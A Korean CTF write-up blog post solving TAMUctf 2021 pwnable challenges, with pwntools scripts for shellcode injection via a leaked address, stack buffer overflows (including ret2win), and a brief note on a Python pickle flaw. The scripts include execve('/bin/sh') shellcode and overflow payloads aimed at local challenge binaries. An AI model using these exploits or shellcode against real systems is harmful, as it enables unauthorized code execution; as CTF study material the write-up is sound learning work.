CTF/Write UPs

[TAMUctf 2021 : Pwnable] 내가 푼 문제들 풀이

jir4vvit 2021. 4. 26. 00:02
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

 

NX Oopsie

처음에 문제 실행도 안되었었는데.. 

보호 기법

RET 주소를 leak해준다.

쉘코드 넣고 RET를 쉘코드 넣은 주소로 돌려주면 된다!

from pwn import *

p = process('./nx-oopsie')
#p = remote('localhost', 6666)
e = ELF('./nx-oopsie')

p.recvuntil(': ')
leak = int(p.recv(14), 16)
log.info('leak = '+hex(leak))

payload = ''
payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#payload += "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload += '\x90' * (0x48 - len(payload))
payload += p64(leak-0x40)

#pause()
p.sendlineafter('? ', payload)

p.interactive()

사실 로되리안 걸려서 flag는 못 땄다.. ㅠ

(+) 익스 확률을 높이려면 NOP을 shellcode 앞에 줘야 한다.

Pancake

보호 기법

조건 맞추면 flag 준다

from pwn import *

#p = process('./pancake')
p = remote('localhost', 4443)
#e = ELF('./pancake')

payload = ''
payload += 'A' * (0x50 - 0xC)
payload += p64(138438280)

print p64(0x3838785c)
print payload
#pause()
p.send(payload)

#p.recvuntil('got ')
#aa = int(p.recv(10),16)

#print hex(aa)

p.interactive()

Handshake

보호 기법

flag 출력해주는 함수가 존재해서 RET를 거기로 주면 된다.

from pwn import *

p = process('./handshake')
#p = remote('localhost', 4446)
e = ELF('./handshake')

win = 0x080491C2

payload = ''
payload += 'A' * (0x28 + 0x4)
payload += p32(win)

p.sendline(payload)

p.interactive()

TicTacToe

python에서 pickle 취약점

dumps할 때는 base64 인코딩, loads할 때는 base64 디코딩 해주고 있다.

메뉴 4번에 picke.dumps한 data를 base64디코딩해서 값을 넣어주면 된다.

더보기
더보기

피클 불매할 뻔 했다.